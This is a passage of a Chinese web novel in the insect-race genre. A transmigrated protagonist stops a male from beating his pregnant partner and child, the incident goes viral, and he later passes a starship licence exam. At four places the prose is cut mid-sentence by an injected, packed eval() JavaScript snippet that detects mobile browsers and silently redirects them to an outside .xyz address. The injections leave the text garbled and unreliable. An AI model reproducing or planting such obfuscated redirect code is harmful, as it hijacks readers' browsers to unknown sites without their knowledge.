他怔怔出神,没有马上离开,周围压低的议论声越来越烈。 “就算是雄虫,打怀孕的伴侣也太恶劣了。” “这有什么,你是第一次见吗,我有邻居都被打死了呢!” “......那个雌虫一直在吐血,蛋估计保不住了。” “他的孩子是亚雌吧?他要是被折磨死了,估计下一个就是这个孩子了。” 鞋底直接踹上腹部的声音,小小的身体在空中抛起一个弧度,重重落在了乌舍脚边。 一只肉乎乎的胳膊无力地搭在了他的鞋面上。 乌舍猛然回神! 他缓缓低头,和被揍得鼻青脸肿的幼崽对视。对方有一双圆溜溜的浅褐色眼睛,湿哒哒的,鼻尖和嘴巴因疼痛皱巴成一团。虚弱地喘息了两声后,他拼力从地面爬起来,几乎发不出声音地说了句“对不起,阁下”。 幼小的身体微微摇晃,乌舍沉默半晌,半蹲下来双手将他扶正。 他近距离看着对方的五官,伸手轻轻捏了捏他的脸蛋,与人类无异的外表、触感,他拧着的心脏忽然松弛了。幼崽意外于自己会受到这样的对待,迷茫地眨了眨眼睛,眼眶中的泪水就势滚了下来。 “这个小崽子冒犯你了吧。”雄虫的声音忽然响起,他抓着身侧雌虫的头发,偏过脸来不耐烦地说:“你不用管他,丢开就行。” 站不稳的幼崽看见这个画面,又奋不顾身地扑了上去。在被雄虫踢开之前,一直没有反应的雌虫伸手,将他搂进了怀里。脊背低低地弯下去,同时护住他和肚子里的孩子。 雄虫见状冷笑一声,刚要动作,乌舍却忽然站直身体,问。 “他们犯了什么错?” 大概是没想到会被他质问,年轻的雄虫愣在了原地。同样愣住的还有旁观的虫群,短暂的惊讶后,雌虫和亚雌们在“有雄虫出头”这件事的鼓舞下爆发出了极高的勇气和热情。 “对啊,他们犯了什么错?” “好像是您无缘无故就打他们吧!” “雄虫不会有怜悯之心吗?” “为什么对自己的伴侣和孩子下这样的手?” 质疑声层层掀高,海浪般席卷位于中心的雄虫。他面色逐渐阴沉,直直盯着乌舍,扬声喊了一句。 “够了!” “什么为什么,身为雌虫,这就是他的原罪!” 在乌舍听来没什么逻辑的话,却让虫群骤然一静。周围的议论声逐渐变小,隐隐只能听见一句,“又是赎罪论啊......” 雄虫说完就泄愤似的猛抽了雌虫一个巴掌,待他要把对方怀里的孩子拉出来再次动手时,乌舍上前,攥住了对方抬起的胳膊。 四目相对,在雄虫喝问“你是不是看上他了才这么多管闲事”的同时,乌舍肩背发力,以标准的姿势给雄虫来了个过肩摔。身躯砸地的声音响起,闷闷回荡开来,看热闹的虫群霎时一片死寂。 连雄虫自己也没反应过来,傻傻地躺在地上。得益于这几个月为了供给香薰原材料的坚持锻炼,乌舍的身体素质较原本强了太多,他摔雄虫的动作几乎称得上轻易。 “以前我也被说过,我的出生就是原罪。” 乌舍抬腿,踩住了雄虫的胸膛,目光扫过对方惊悚地望着这边的雌虫伴侣,不紧不慢开口:“但我跟他们说,让受害者来发言,轮不到他们来审判我。” 雄虫终于回神,在他鞋底挣扎,一张白皙的脸涨红。他没有管自己的伴侣,也不顾孩子,只是用难以言喻的憎恶眼神对着乌舍,喘息着骂他。 “叛徒。” 事情上升到两个雄虫斗殴,虫群报警后警察第一时间介入。被过肩摔的雄虫先被送往医院做身体检查,而浑身是伤的雌虫和幼崽,跟乌舍一起坐在警署等待检查结果。 因为涉及到雄虫,他们被引入专门的接待室。这里灯光柔和,地面铺着地毯,桌子和椅子是圆的,上面还放着茶水。与其说是要在这里进行讯问,不如说谈心更恰当。 等坐到了这里,乌舍才得知了另一个雄虫的名字,纳里昂多,是C级雄虫。他的伴侣叫菲拉洛,孩子是亚雌,叫墨菲。 讯问他的警官是一名雌虫,态度非常温和:“根据围观群众的口述,您是为了菲拉洛和墨菲,才对那位阁下动手的,是吗?” 乌舍听出他的言下之意,直接说:“今天是我第一次见到他们,就在刚刚,我才知道他们叫什么。” 警官意外于他的敏锐,事实上,雄虫和雄虫内部有一种奇异的团结,远比雌虫或者亚雌之间要团结得多,大概和性别基数有关系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357321|152783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 在实际案例中,雄虫与雄虫发生斗殴,往往是存在严重利益争端。比如乌舍和菲拉洛存在私情,纳里昂多对菲拉洛的当众凌虐其实对乌舍的羞辱。但这种可能性已经被否决了。 警官几乎犹豫起来:“那您的动机......是出于同情?” 乌舍靠着椅背,没有马上开口。他回头看了一眼,坐在他后方的菲拉洛依旧沉默,眼中却不再是全然的麻木,有种经历了过于漫长的噩梦突然被叫醒的惊惧和茫然感。他怀里的墨菲倒是活泼得多,亚雌的体质虽然比不上雌虫,但较雄虫强上不少。 这会儿他已经不再捂着肚子,看起来也没有其他不适,对上乌舍的视线,崇拜地挤出一个酒窝。 乌舍笑了一声。 “是啊。”乌舍转回身,面朝警官:“尊老爱幼是传统美德。” 警官显然被凝练的中华传统美德震撼了一下,过了几秒钟,才干巴巴开口:“好的,请您稍等,我们需要等医院的检查结果出来才能进行下一步。” 乌舍同意后,警官就离开了,接待室内的摄像头无声对准了他。但坐在监视器后的警察并没有看见乌舍和菲拉洛有什么互动,只是在墨菲试探着挪过去拉住他衣袖的时候,抬手揉了揉亚雌幼崽的脑袋。 然后头也不回地说:“想要自己的孩子活下来的话,就离婚吧。” 依照《婚姻法》,只要孕育过,雌虫是可以主动提出离婚的。依照本土雄虫的傲慢,鲜少有雄虫在雌虫提议离婚后会不同意。即使雄虫真的拒绝,雌虫也可以起诉离婚,不过无论雌虫提出离婚是受到了伴侣怎样的暴行,在判决离婚时也不会得到任何赔偿或者财产分割的倾斜,只能净身出户,所有财产将归于雄虫。 但,只要一个雌虫还有劳动能力,以虫族社会的发展水平,下定决心离婚后要养活自己还是很简单的。 菲拉洛闻言身体一震,猛地抬了抬头,似乎是想说什么,最终却没有开口。 大约半个小时后,负责这个案件的警官带回了纳里昂多的检查报告,结果显示为轻微脑震荡,属于法定轻伤情节。由于纳里昂多表达了强烈的不愿意见到乌舍的态度,现在还留在医院,警官无法让他们面对面展开调解。 “那位阁下坚持要起诉你。”警官看着乌舍:“根据法律,您可以找一位律师准备应诉,也可以通过缴纳保释金免于诉讼。” 雄虫之间的矛盾以利都的《雄虫特殊保护条例》为准则,另有一套专门的法律体系,立法核心是能调解的一律调解。涉及到身体伤害的,轻伤以下(含轻伤)尽量调解,适用保释金原则。 也就是可以花钱免诉,这笔保释金会全额赔偿给起诉方,保释金标准十分高昂。 乌舍缴纳了20万英吉的保释金,在结案通知书上签下名字。离开警局后,他在路上被跟了他一会儿的菲拉洛叫住。 “您......”雌虫单手牵着幼崽,嗓音带着久未开口的喑哑,“可以给我一个收款账号,等过一段时间,我会把保释金赔给您。” 乌舍看了他一眼,又低头看了看墨菲,问:“你会开星舰吗?” 菲拉洛愣了愣,点头:“我有A类飞行器的驾驶证。” “那很好。”乌舍说:“我把终端号给你,你可以直接给我转账。除此之外,如果你需要一份工作过渡,我可以提供。” 18. 第 18 章 乌舍坐在画布前,画面上是泼开的大面积黑色,他面无表情的用画笔蘸取红色颜料,在斑驳浓稠的黑色中戳出一个又一个猩红的圆点,像是昆虫的复眼。 “宝宝。”温柔的女声久违地在耳边响起:“今天打人了哦。” 记忆残片浮现在脑海,浑身是伤、指节破皮的少年沉默地站在医院走廊,眼神阴鸷地定在地面。 “我跟对方了解过了,他只是看了你一眼,你就动手了,是不是?” “这件事是你做错了。” 少年忽然抬头,直视面前的女人。发现对方眼眶不知何时泛红后动作一顿,但仍然开口说:“我不正常。” 他用目光传递着——我就是这样的,是个天生敏感、多疑、焦躁又暴力的怪物。 “不是的,虽然宝宝今天做了一件错事,但我还是要表扬你。”女人微微弯腰,用柔和的双眼接住了他的目光:“那条街上,距离你动手的男人很近的地方,有很小的小孩子,还有女生。你因为生病控制不住自己,可是你记住了爸爸妈妈的话,对不对?” “不能对老人、小孩、女性动手,绝对不能挥刀向更弱者。” “你做得很好。” 女人把他搂进了怀里,手掌安抚性地摩挲他的背部。少年紧绷的身体终于放松下来,额头贴着对方的颈窝,眼眶滚出泪水。 “不过呢,做错的事情也要承认。爸爸已经在里面了,你跟我一起进去和人家道歉,能做到吗?” 少年一动不动靠在她怀里许久,沙哑开口:“能。” 乌舍回神,面前的画布上遍布大大小小的眼珠,虫类肥硕的黑色躯体撑满了整个画面,包裹着其中一道模糊的瘦长人形。这景象诡谲又怪诞,但画布中央高悬于人影之上,有一块不规则的留白。好似一轮从重重乌云中挣扎出来后撕裂的圆月,仍以纯粹的光辉照耀着黑暗中的迷途者。 因为这道留白,已经成型的油画看起来不至于阴森到可怖的程度,也显得不那么的......寂寥。 A13从墙角冲过来——他之前被乌舍打发去面壁,因为太吵闹——惊叹地用黑色豆豆眼观赏这幅画,连脑袋都180度左右转动起来。 “哇!小阁下,您太厉害了!您还会画画呢!” 乌舍注视着画布,淡淡道:“你还能看出画得好不好?” A13理直气壮地说:“我看不出来啊,但是能画出来就很厉害了!” 乌舍笑了下。 A13又说:“这幅画有名字吗?我可以帮忙取哦!” 乌舍缓慢地眨了下眼,随手在画布角落提上自己的签名,“WS.”,接着才低声说。 “有,叫......母亲。” 闷头在画室待了一天,等乌舍收好来到异世界画出的第一幅画,洗漱完,时间已经转到了晚上8点。 昨天和罗西亚约好在这个时间上线,他躺进游戏舱,再睁眼时已经进入了熟悉的新手村界面。 乌舍点击罗西亚给的定位,面前的地面自动生成蓝色六芒星的图案,他踩进去,传送阵生效,把他送到了游猎的公会大门。 公会整体是灰色的尖顶建筑,外面看不出什么。他推门而入,视野里是宽敞的大厅,里面已经站着不少玩家。靠里有个圆形的办事处,占地不小,桌上放着几个牌子:咨询、任务发放、任务结算。除此之外,大厅两侧都有楼梯蜿蜒向上,连接着二楼,不过二楼在乌舍眼中是一片漆黑,看不清楚。 “冥,这边!”罗西亚叫他。 他走进大厅,罗西亚把他拉到玩家们中间,简单地介绍了下:“这是冥,也是新入公会的。” 周围的玩家纷纷打招呼,看等级和穿着也都是新手。 罗西亚低头看了眼怀表,嘟囔到,怎么还没准备好......话音刚落,办事处出现了三个亚雌的身影,他们的建模都很清秀漂亮,身上佩戴着姓名牌。 “总算来了!”罗西亚松了口气,带着一帮崭新菜鸟走过去:“诺诺,给他们发公会勋章吧。” 三名亚雌承担着公会后勤的职责,诺诺约等于前台。他一一验证了新手们的入会手续,微笑着发放勋章。乌舍戴上勋章后,再抬头时发现已经能看清二楼了,灯火煌煌,有许多亚雌和雌虫靠在围栏上向下眺望。 其中之一恰好与乌舍对上目光,朝他点了点头,就转开了视线。 接着他们又在负责发布任务的科里那儿领了第一个公会任务,完成任务后可以获取相应的奖励。说是任务,其实只是要求他们把等级升到10级,不管领不领任务玩家都是要升级的,相当于白送他们一份公会奖励。 有新玩家和同伴嘀咕:“哇,真好!看来罗西亚说的是真的......这里真的新手友好。我有个朋友加入了‘血杀’公会,刚进去就要他们下高级副本,完全是让他们去送死嘛!” 罗西亚大约是听到了,脸上露出骄傲的笑容,热情地招呼他们往楼上走,诺诺几个也跟着。 二楼的设置和一楼相差不大,中央仍是宽敞的大厅,不过此刻挂上了彩灯、拉起了横幅,回字形摆了许多桌椅供玩家入座。大厅周围是几个闭合的房门,罗西亚介绍道,它们依次是交易室、模拟训练室以及1v1擂台。 “平时有想交易的物品,不太贵重的在一楼大厅里摆摊就行了,太贵重的才去交易室。训练室主要是模拟高级副本......来来,都坐。” 有个雌虫一边补充罗西亚的话,一边招呼他们坐下。 为了让大家更好的融入,游猎让新玩家和老玩家交错着坐,补充罗西亚话的雌虫主持起了欢迎会的流程。 “我是安德里,游猎的副会长。我们公会的副会长有两个,除了我,还有一位是洛西。大家应该认识吧?个人榜排名第五。会长是伯恩斯坦,个人榜排名第三。他俩是我们公会的镇会大佬,平时不轻易出现,但是会带我们下高级副本。三楼是他们的地盘,只有他们有权限。两位会长不负责公会经营,有事情可以找我。” 安德里讲完后进行了欢迎致辞,接着让新手们一个个起身自我介绍。这批新玩家一共10名,大部分都是雌虫,有2个亚雌,居然还有1个雄虫。 雄虫申请购买游戏,只要通过身份认证,游戏开发商会通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357322|152783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过邮件免费赠送,这些赠送的雄虫专属号会在名字后显示官方标识。而以雄虫身份出现在游戏里,但却没有官方标识的,线下的真实性别大多是亚雌或者雌虫。 在游戏里选择雄虫性别的亚雌和雌虫不少,原因也很多,比如想体验下当雄虫的感觉、想近距离感受雄虫…… 苏卡,这位雄虫身份的新手玩家就坦然说:“哎呀,我其实是亚雌啦。就是想用雄虫的建模,这样下副本和打竞技的时候,虽然别的虫明知道我不是真雄虫,对着我这样子也会下意识手下留情嘛!” 乌舍打量了下他的建模,身高大约178,脸蛋英俊多情,的确很符合虫族的审美。 他的话挑起了大家对雄虫的讨论,有玩家兴致冲冲地说:“那你们有没有看过那个?商贸区的雄虫宣言事件!” 周围立刻响起一片附和声。 玩家1:“我知道我知道!那个黑发黑眼的雄虫!” 玩家2:“天啊,他最后说的那句话我都背下来了!你们说他是真心的吗?” 玩家3:“应该是真心的吧?他都被警察带走了,演戏给谁看啊?对他又没有好处。” 玩家4:“但是我听说其实是他和那个被家暴的雌虫有私情,雌虫肚子里的孩子也是他的……” 乌舍没听说过这所谓的“事件”,但各项要素明显重叠,他不得不出声打断讨论。 “请问。”玩家们的目光齐齐落过来,乌舍镇定地问:“你们在说什么事?” 罗西亚就坐在他边上,闻言立刻道:“哎呀,这你都不知道呢?你平时是不是不刷利都星网啊?热榜第一,昨天商贸区外圈有雄虫当众家暴雌虫和亚雌幼崽,被另一个雄虫出手制止了!在场的虫录了视频,传到了网上,现在很多网友都在扒那个雄虫的真实身份呢!” 见乌舍发愣,罗西亚以为他是不相信,扭过去和安德里对了个眼神。 “我知道这很难相信,但是真的,不信你看视频。” 安德里起身,竟直接连上星网,在公会二楼大厅的墙壁上投放了那个偷拍视频。 一众玩家毫无异议,立刻专心致志地看了起来,尽管他们几乎都看过不止一遍。 画面里,黑发黑眼的雄虫身量并不多么高挑,修长的四肢和单薄的脊背呈现出仍然处于发育期的青涩感。但他漆黑的眉眼仿佛盛住了四周投射来的一切惊疑与不安,显露不符合年龄的沉稳、睿智,乃至一种跳脱事外的洞察与悲悯。 “以前我也被说过,我的出生就是原罪。”他踩着雄虫的胸膛,眼神环顾过每一个旁观者:“……让受害者来发言,轮不到他们来审判我。” 话落的同时,视频截止,公会二楼响起一片压低的尖叫。 乌舍:“……” 安德里盯着截止画面中雄虫深邃的眼睛,喃喃道:“这是我见过最特别的雄虫。” 苏卡说:“确实,他是黑头发黑眼睛。” 罗西亚摇头:“不,不止是外表......他用一句话驳回了数千年来压在雌虫身上的‘赎罪论’。要雌虫自己去想的话,也许终其一生也无法求得答案。” 19. 第 19 章 “赎罪论”这个词汇在乌舍脑中过了一遍,他似乎不是第一次听到这个词,但对此十足陌生。 不过,视频没看过还算正常,如果这种看起来像是虫族公认的常识都不清楚,那就比较可疑了。 乌舍不着痕迹地挑起话题:“现在相信这个说法的雌虫,应该也不多吧?” 罗西亚惊异地望着他,而在场几乎所有的雌虫都沉默了。乌舍平静地与他对视,罗西亚叹息一声:“冥,你是不是平权派?可能在你看来这几年星网上批判雄虫的声音越来越大,但实际上大部分都只是嘴上批判、埋怨一下而已。” “我们作为亚雌,受影响相对小一些。对于雌虫来说,‘赎罪论’更像是刻在了基因里,他们面对雄虫的暴力和虐待会更容易接受和习惯。” 苏卡忽然说:“那不是因为雌虫本来就身强体壮,耐受力高吗?” 安德里看了他一眼:“耐受力高不代表感觉不到痛。” 苏卡看向他:“那你呢,副会长,你也相信赎罪论吗?” 安德里沉默了,而沉默代表一切。 苏卡唇角隐隐露出笑容,这笑容还未成型,角落里有雌虫突兀出声: “但是,就像视频里的雄虫说的,错误不是我们犯的啊!” 苏卡的表情冷却:“但雌虫确实是受益者。” 对方反驳:“受益在哪儿了?你看看现在的雌虫,都以什么姿态在活着,到底谁是受益者?” “当然是你们的先祖!”苏卡斩钉截铁道:“你们要恨现状,当然是恨你们享尽了福然后把烂摊子留给你们的先祖。还有,什么是雌虫的现状?有大量单身的雌虫?被雄虫伴侣虐待?” “如果嫌恶、恐惧雄虫就选择单身啊,渴求雄虫又不愿意承受代价,对曾经遭受那样灭顶之灾的雄虫连愧疚之心都没有,只想着得到的话,这不是受益者心理又是什么?” 他说完之后周围一片死寂,原本和他对峙的雌虫沉默几秒,小声地说:“……我只是,只是希望雄虫也能温柔一点。” 苏卡没说话,安德里关掉视频,换上搞笑影片。借由这些动作整理好心绪后,他笑着开口。 “好了,争论这些没有意义,我们改变不了现状,也都有自己的选择。一起看电影吧,桌上的零食和饮料都可以吃。” 苏卡身边的亚雌拉着他坐下,在电影片头曲的掩盖下,隐隐听到那边传来玩笑声:“苏卡,你是不是选了性别之后真把自己代入成雄虫了,怎么这么激动......” 苏卡的声音十分清晰:“我只是比较了解历史,我是保雄派的。” 乌舍垂眼,想到自己曾经查阅过的虫族发展史,黑暗时代和内战时代的许多资料被封存,可供阅读的也有大部分残缺,只能大致了解当时的时代情形。 但有非常直观的数据是,黑暗时代后雄虫的数量减半,内战后近乎处于灭种边缘。即使后来出台了系列保护政策,虫族的生育率也非常低迷,雄虫的出生率甚至有很长一段时间持续为零,历代掌权者费尽心力才让雄虫的数量得到增长。换句话说,是费尽心力抢救回了这个族群的未来。 赎罪论,保雄派...... 乌舍若有所思,借着昏暗的光线缓缓打量过周围玩家的表情。 由于先前的争论,绝大部分玩家都没在看电影,心不在焉,也没谁发现他的视线。从观察结果来看,公会的雌虫们不一定都是保雄派,但至少是接受了赎罪论的。 虽然对社会上雄虫的粗暴行径保持着批判、抗拒的态度,但因为历史原因和生理渴望愿意忍受现状,不会去主动变革。 乌舍收回视线,目光重新落到电影上。 电影结束,大家又聊了点轻松的话题,11点就各自下线了。乌舍离开游戏舱后上网搜了搜新知道的几个名词,百科上没有显示专门的名词解释,但好几个网页链接里出现了赎罪论、平权派、保雄派的字眼,他点进去一看,发现是论坛水聊。 论坛都是非官方的,讨论的话题也没什么意义,不过从他们发言的内容来看,基本符合乌舍对几个派系的猜想——苏卡所谓的保雄派,对雄虫的拥护态度应当最强烈。不仅仅是接受了赎罪论而已,而是坚定拥护雄虫特权、维持现状的一类。平权派则是指希望雄亚雌三性平等,并做出实际行动呼吁、争取亚雌和雌虫更多权益的一类。 他还从论坛里了解到了一个新的派系,革命派。 用语激进,状态癫狂,表示要逆转当下雄虫与雌虫的地位。这类发言比较小众,看起来更像是意淫和口嗨,别的网友对其也只是抱着看乐子的态度。 乌舍没有再多看别的,关闭终端休息了。他没把今天知道的视频的事放在心上,但这个视频的影响力却出乎意料的大。 第二天他出门去隔壁送香薰原料顺便蹭饭,难得偶遇了其他邻居。 在此之前,周围的E级雄虫们对他的态度陌生但友好,现在看他的目光却隐隐透着排斥。 等他按响何家的门铃,见到开门的何慈林后,迎上的竟然是和这一路上遇见的相同的目光。 与之相反,午休准备好饭菜的何冬塞看他的眼神虽然相当复杂,却是正面向好的。 吃饭的时候,何慈林耐不住,首先提起。 “你为什么要帮那个雌虫和他的幼崽啊,你真的认识他们?他们和你有别的关系?” “不认识。” “不认识你帮他们干嘛?” 乌舍咽下口中的食物,说:“如果是你被别的雄虫打了,我也会帮你的。” 何慈林理所当然地说:“我又不会被打。” “对啊。”乌舍转向他,含笑着说:“你又不会被打。” 何冬塞握着餐具的手指一紧,何慈林微微一怔。 未成年的小雄虫想,本来就是啊,我是不会被打,我是雄虫嘛......那雌虫和那只幼崽为什么会挨打?好像这就是他们天生应该经受的那样。何慈林模模糊糊意识到这种惯性思维,在道德上似乎不对,但本能和理智都在抗拒承认,甚至因为意识到这点有些生气。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357323|152783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他问乌舍:“你同情他们啊,你觉得是那个雄虫的错?” 乌舍平静地和他对视,说:“不。” “路都是自己选的,自己的生活自己过,用不着我去评价对错。我之所以打那个雄虫,只是那个时候我想这么做而已,如果让我不高兴,不管是谁我都一样会动手。” 何冬塞的手指一松,心中莫名有些空落落的。何慈林倒是放松下来,强行把之前模糊意识到的不对劲忽略过去,认为乌舍与自己还是一个阵营的,安心地缩回了舒适区。 我觉得......那个雌虫和幼崽很可怜。何冬塞想说,但是看了旁边的弟弟一眼,终究没说出口。只是叹息一声,给何慈林夹了些菜。 接下来的几个月,乌舍的生活相当规律。 每天的固定活动只有画画和上游戏,不过除了那幅《母亲》,他没再画出过完整的画作。游戏进度倒是可喜可贺,星舰教学他已经通过了五轮模拟测试,算是熟练了星舰内部各个按键的功能和基本操作。正在着手申请线下考试;《星际野望》也稳扎稳打升到了20级,可以出新手村跟着公会的老玩家下副本了。 何冬塞的生产链也稳定运转,生产出的冷火与太阳花一批批送进放逐区,以拍卖的形式流转到暴徒们手中。拍卖会一个月举行两次,最多的时候一个月可以放出四支香薰,由于供给的稳定,香薰的价格也逐渐降下来,稳定在每支50万英吉左右。 乌舍账户上的金钱快速增长,在他来到这个世界的第十个月,账户余额首次突破了千万。 唯一出乎他意料的是,也许是虫族社会的爆点新闻太少,舆论关注度刷新的不够快。又或者单纯是“雄虫为雌虫出头”这件事太过罕见,那个视频的影响力持续的异常之久。 直到现在,他出门时仍会有雌虫和亚雌用惊叹的目光注视着他,低头切切私语——这也是乌舍这段日子大大减少外出时间的原因。 不过今天他不得不出门,因为申请通过,他要去参加A类驾驶证考试。 考试并不是让考生开着星舰实地逛一圈太空,而是类似游戏里的模拟测试,通过沉浸式模拟技术让考生在线上完成考试。 考场和利都星政府位于同一个区,两者挨的很近。乌舍一下列车就看到了两个相邻的建筑,一座白色尖顶,矿石和合金构筑成层叠的墙面,上面雕刻着古朴的图纹,属于利都星政府的旗帜在尖顶最上方迎风飘扬;另一座呈椭圆形,如同卧倒的巨蛋,建筑外墙类似玻璃材质,在光线下折射出流动的多彩的辉芒。 乌舍从列车站点走向考场,抵达大门的时候察觉一道有力的视线落在自己身上,他回头,遥遥和站在星政府门前的一位雌虫对视。 雌虫灰白头发,整齐地梳在脑后,眼尾的细纹昭示他并不年轻的事实。一对浅灰色的眼睛沉淀着沧桑与睿智,唇角保留着具有洞察力的弧度。他身穿黑色制服,并不掩饰自己的视线,和乌舍对上目光后,抬起小臂,微笑着示意。 乌舍微微皱眉,冷淡地收回目光,走进了考场大门。 20. 第 20 章 考场面积庞大,分多个区域,各个上下通道错杂,让人一时分不清方向。 不过得益于雄虫身份,收到他申请信息后考场安排了专门的接待员,就站在门口。见他进来,立刻迎了上来。 “是乌舍·狄俄尼索斯·冥阁下吗?”亚雌接待员殷勤介绍:“我是您的接待员,您可以直接称呼我的编号,1号。” 乌舍看向他,对方穿着制服,胸牌上写着编号以及姓名:格力斯。 他没有以数字叫人的习惯,又不是机器人,便随口道:“你好,格力斯。” 没想到格力斯闻言霎时脚步一顿,这显然极不专业,在乌舍停下脚步等他后,亚雌的脸上出现十分惊慌的表情。但很快他恢复了镇定,重新走到乌舍身前两步远的位置替他领路,只是忍不住低低感叹。 “您果然如传闻中的一样绅士。” 乌舍目露古怪,两辈子以来他头一次被冠上这个形容词,着实不在意料之中。 不过这实际上非常正常,在他不知道的地方,他“英雄救美”为雌虫出头的视频在星网上的热度越来越高,流传到各大平台。甚至跨越星球界限流传到了其他城市星和居住星......由于视频里他的“反赎罪论”宣言振聋发聩,这一事件也被广大网友正式命名为“利都商贸区平权宣言事件”。 与此同时,乌舍的生活轨迹也被扒了出来。在他穿越过来之前,原身的履历平平无奇,蜗居一隅闭门不出,活得相当苍白,因此没什么好深究的。 在他接管这具身体后,虽然也只是正常地生活着,但光是他出门用餐和购物时没有仗着自己是雄虫做出无故殴打服务人员、无理要求免单等找茬行为,就已经让广大网友赞叹。 还有雌虫和亚雌现身说法,表示乌舍在他们那里消费完了之后会说“谢谢”或者“辛苦了”,这也成了他绅士有礼的佐证。 当然,对他的行为也不乏猜忌之声。有一部分理中客认为他是在给自己造势、作秀,说不定只是为了积累名声以便跟条件更好的雌虫结合;还有一部分坚定地认为他与被帮助的雌虫有私情,给挨揍的雄虫戴了绿帽子。因为据消息称那个雌虫后来流产,已经和家暴的雄虫离婚,很难想象在没有退路的情况下,雌虫会主动提出解除婚姻关系。 但目前为止星网上还没有传出“利都商贸区平权宣言事件”后,乌舍和那个雌虫有交集证据,只有一些似是而非的流言,一张确凿的照片都无。 尽管从未主动关注事态发展,但乌舍也能猜到格力斯的感慨是基于那个视频的影响。 他颇无语地保持了沉默,直到对方带他来到了雄虫专属休息区,旁边就是他的考场。休息区内设置了显示屏轮放考试次序,还有广播播报提醒。 乌舍习惯性地说:“谢谢。” 格力斯满脸惊叹地离开了。 休息区里有饮品和甜点供应,乌舍在这里待了十分钟,广播就提醒他准备入场。场内和场外不同,考试次序错开,他没有看见其他考生,也没有见到工作人员,一切由智能AI进行指挥。他根据广播提醒来到了一个编号为X-LL的模拟仓前,这个模拟仓比他家里的游戏舱大一些,也是椭圆的,像缩小版的鹅蛋。 他在申请考试时录入过身份信息,此刻将手掌按上“蛋壳”,模拟仓识别掌纹后自动投射出一块电子屏幕。乌舍核对身份信息无误,点击【确认】,投屏消失,“蛋壳”朝两侧分开。 里面是黑色的座椅和一个头盔,质地都较为柔软,乌舍坐进去,佩戴好头盔后模拟仓重新合拢。三声提示音过后,考试开始。 A类驾驶证考试每次只有一次机会,不通过的话就要重新走申请流程。官方出品的模拟仓比起教学游戏触感更加真实,难度也更大。不过乌舍心中没有多少紧张的情绪,发挥稳定,操纵着星舰按照规定的太空航道行驶,从始至终都未偏离路线。 考试结束,舱内亮起绿灯,“考试通过”的AI提示音在耳边响起。 乌舍舒了口气,离开模拟仓。广播提醒他回到休息区稍作等候,没过多久,格力斯就带着一个文件夹敲门进来。 “恭喜您,满分通过考试!”格力斯把文件夹递给他,上面竟然还别着一朵鲜花:“而且还是一次通过,您真了不起!” 乌舍自动将夸奖与鲜花视为对“雄虫”这一身份的恭维,平静地应了一声,从文件夹里拿出了A类驾驶证。 打开一看,上面已经印好了属于他的各种信息,只有照片的那一栏空着。 格力斯在旁边说:“照片最好在三个工作日内补上,考场里就有摄像机,您要在这里拍吗?” 乌舍点头,跟着他离开休息区,进入了办公区,他站在方方正正的摄像机前,格力斯在机器上按下几个按键,镜头对准乌舍的脸,轻微的“咔嚓”声响起。 画面定格,照片无缝衔接从机器出口滑出,格力斯拿着它来到乌舍身边,由衷赞叹。 “您真是太英俊了!” 乌舍接过照片,微微一怔。画面上黑发黑眼的男人跟他对视,眉目色泽浓郁纯粹,轮廓锋利,高挺的鼻梁衔接曲线平直的嘴唇,整张脸透出拒人于千里之外的冷漠,以及隐晦的讥讽。 ——死而复生的第10个月,300天,时光如白驹过隙转瞬成空,他猝不及防和自己来了个面对面。 这张脸,和上辈子的他一模一样。 乌舍等到格力斯替他把照片粘贴好才回神,他道过谢,拿着驾驶证离开。格力斯看着他留下的别着鲜花的文件夹欲言又止,最终也没能说出什么。 菲拉洛在几天前把他付出的20万英吉保释金转进了他的账户,但婉言谢绝了他的工作邀请。如今考试顺利通过,乌舍也放下了心,不用再给自己额外招聘一个星舰驾驶员。 他在考场旁边的豪华餐厅吃了顿饭,算作对自己的奖励,没多逗留就回了家。 下午2点是游猎公会带新人下副本的时间,乌舍昨天已经跟罗西亚约好要参加,他准时上线,在公会大厅见到整装待发的副本小队。 新手村刚出来的20级玩家一般是要选择等级相近的副本进行挑战,稳扎稳打积累经验、获得武器和道具,升级后再挑战更高阶的副本。不过由于《星际野望》的所有副本对玩家等级没有硬性要求,所以想要直接在菜鸟阶段就去下高级副本也可以。 这次小队算上乌舍,一共有8个20级玩家,都是抱着“能蹭白不蹭”“长长见识”的心理。带他们的是三个老玩家,一个是安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 